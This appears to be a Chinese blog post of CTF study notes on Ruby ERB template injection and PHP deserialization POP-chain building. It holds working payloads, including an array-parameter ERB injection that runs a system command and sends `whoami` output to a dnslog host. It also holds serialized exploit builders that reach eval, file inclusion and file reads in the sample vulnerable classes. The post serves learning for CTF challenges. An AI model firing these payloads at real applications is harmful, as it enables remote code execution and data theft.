Ruby ERB注入&&反序列化

18 篇文章 0 订阅

请添加图片描述
生活不易

Ruby ERB注入

现在的Web应用中,许多客户端以及服务器端经常会用到模板。许多模板引擎提供了多种不同的编程语言实现,比如Smarty、Mako、Jinja2、Jade、Velocity、Freemaker以及Twig等模板。作为注入攻击大家族中的一员,模板注入这种攻击形式对不同的目标所造成的影响也有所不同。对于AngularJS而言,模板注入攻击可以达到XSS攻击效果,对于服务器端的注入攻击而言,模板注入攻击可以达到远程代码执行效果。

ERB时Ruby自带的

<% 写逻辑脚本(Ruby语法) %>
<%= 直接输出变量值或运算结果 %>

如果x是可控的,跟普通模板注入一样

require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 7*7
puts erb_object.result(binding())

呢么读取X的话 得到的就是49
假如以此类推,读取一个文件

require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = File.open('pwd.txt').read
puts erb_object.result(binding())
  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

第一种:jwt解密
这段代码意思就是如果传入的参数do和name一致,则会输出params[:name][0,7]} working successfully!
这里有erb模板,并且直接把可控参数name拼接进去了,但这里有限制,最多最多只能要七个字符,除去<%=%>只剩两个字符可以操作
$'-最后一次成功匹配右边的字符串

work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working

在这里插入图片描述
然后将secret填入和JKL修改
得到的JWT到shop页面进行购买,然后修改为post传参 shop页面
在这里插入图片描述
最后进行JWT解密就是flag
第二种:利用HTTP参数传递类型差异
利用HTTP参数传递类型差异的问题。url传参可以传入非字符串以外的其他数据类型,比如数组从而绕过一些程序逻辑

$a = "mon123"
$b = Array["aaa","bbb","ccc"]
puts "$a: #{$a[0,3]}"
puts "$b: #{$b[0,3]}"

这里,$b原本是数组,但是因为被拼接到了字符串中,所以数组默认的类型变成了[“aaa”, “bbb”, “ccc”],这样上面代码的限制,从原本的7个字符,变成了7个数组长度
payload:

/work?name[]=<%=system('ping -c 1 `whoami`.xuu1g4.dnslog.cn')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6&do=["<%=system('ping -c 1 `whoami`.xuu1g4.dnslog.cn')%>", "1", "2", "3", "4", "5", "6"] is working

url编码一下

/work?name[]=%3C%25%3Dsystem(%27ping%20-c%201%20%60whoami%60.xuu1g4.dnslog.cn%27)%25%3E&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6&do=%5B%22%3C%25%3Dsystem(%27ping%20-c%201%20%60whoami%60.xuu1g4.dnslog.cn%27)%25%3E%22%2C%20%221%22%2C%20%222%22%2C%20%223%22%2C%20%224%22%2C%20%225%22%2C%20%226%22%5D%20is%20working

最后得到任意代码执行

反序列化

发序列化的题目做的不是很好,在构造PO链的时候,会有些不懂,进行系统补充学习一下。
还是从代码先入手

<?php
highlight_file(__FILE__);
class test {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new normal();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}
class normal {
    function action() {
        echo "HelloWorld";
    }
}
class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['a']);
?>

这个例子,test类中的_destruct()调用了action方法,但在_construct()中可以看出它创建了一个normal类的对象,然后调用的是normal类中的action方法,

<?php
class test {
    protected $ClassObj;
}
class evil {
    private $data='phpinfo();';
}
$a = new evil();
$b = new test();
$b -> ClassObj = $a;
echo serialize(urlencode($a));
?>

构造出来这样,创建一个evil类的对象然后把它赋值给classobj属性,但classobj是protected属性,不能在类外面访问,所以要在test类里面写一个_construct()来完成操作。

<?php
class test {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data='phpinfo();';
}
$a = new test();
echo urlencode(serialize($a));
?>

下一个代码分析

<?php
highlight_file(__FILE__);
class Hello
{
    public $source;
    public $str;
    public function __construct($name)
    {
        $this->str=$name;
    }
    public function __destruct()
    {
        $this->source=$this->str;
        echo $this->source;
    }
}
class Show
{
    public $source;
    public $str;
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
}

class Uwant
{
    public $params;
    public function __construct(){
        $this->params='phpinfo();';
    }
    public function __get($key){
        return $this->getshell($this->params);
    }
    public function getshell($value)
    {
        eval($this->params);
    }
}
$a = $_GET['a'];
unserialize($a);
?>

先进行思路分析,先找链子的头和尾,头部是GET传参,尾部是Uwant类中的getshell,然后从下往上看,Uwant类中的__get()中调用了getshell,Show类中的toString调用了__get(),然后Hello类中的__destruct(),我们get传参之后会先进入_destruct(),呢么完整的链子就是
从头部开始->Hello:_destruct() ->Show:_tostring() -> Uwant: _get() -> Uwant :getshell ->尾部
在Hello类中我们要把$this->str 赋值成对象,下面echo出来才能调用show类中的_tosting(),然后再把show类中的this->str[‘str’]赋值成对象,来调用Uwant类中的_get()

<?php
class Hello
{
    public $source;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Uwant
{
    public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a -> str = $b;
$b -> str['str'] = $c;
echo urlencode(serialize($a));

下一个例子

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

思路分析,还是先找链子的头和尾,头部依然是一个GET传参,而尾部在Modifier类中的append()方法中,因为里面有个include可以完成任意文件包含,那我们很容易就可以想到用伪协议来读文件。然后找到尾部后往上看,
在Modifier类中的__invoke()调用了append(),然后在Test类中的__get()返回的是$function(),可以调用__invoke(),再往前Show类中的__toString()可以调用__get(),然后在Show类中的__wakeup()中有一个正则匹配,可以调用__toString(),然后当我们传入字符串,反序列化之后最先进入的就是__wakeup()
在这里插入图片描述
构造链子的话
头部开始->Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$a = new Show();
$b = new Show();
$c = new Test();
$d = new Modifier();
$a -> source = $b;
$b -> str = $c;
$c -> p = $d;
echo urlencode(serialize($a));

?>

下个例子

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
    
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
    
    public function __get($name){
        $function = $this->a;
        return $function();
    }
    
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

首先还是找头和尾部,头部还是get传参,尾部可以看到Room类中有个Get_hint()方法,里面有一个file_get_contents,可以实现任意文件读取,我们就可以利用这个读取flag文件了,然后就是往前倒推,Room类中__invoke()方法调用了Get_hint(),然后Room类的__get()里面有个return $function()可以调用__invoke(),再往前看,Info类中的__toString()中有Room类中不存在的属性,所以可以调用__get(),然后Start类中有个_sayhello()可以调用__toString(),然后在Start类中__wakeup()方法中直接调用了_sayhello(),而我们知道的是,输入字符串之后就会先进入__wakeup(),这样头和尾就连上了
在这里插入图片描述
这样的话 链的构造就是
头 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint()

<?php
class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }
}
class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
}
$a = new Start();
$b = new Info();
$c = new Room();
$d = new Room();
$a -> name = $b;
$b -> file['filename'] = $c;
$c -> a = $d;
echo urlencode(serialize($a));
?>
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值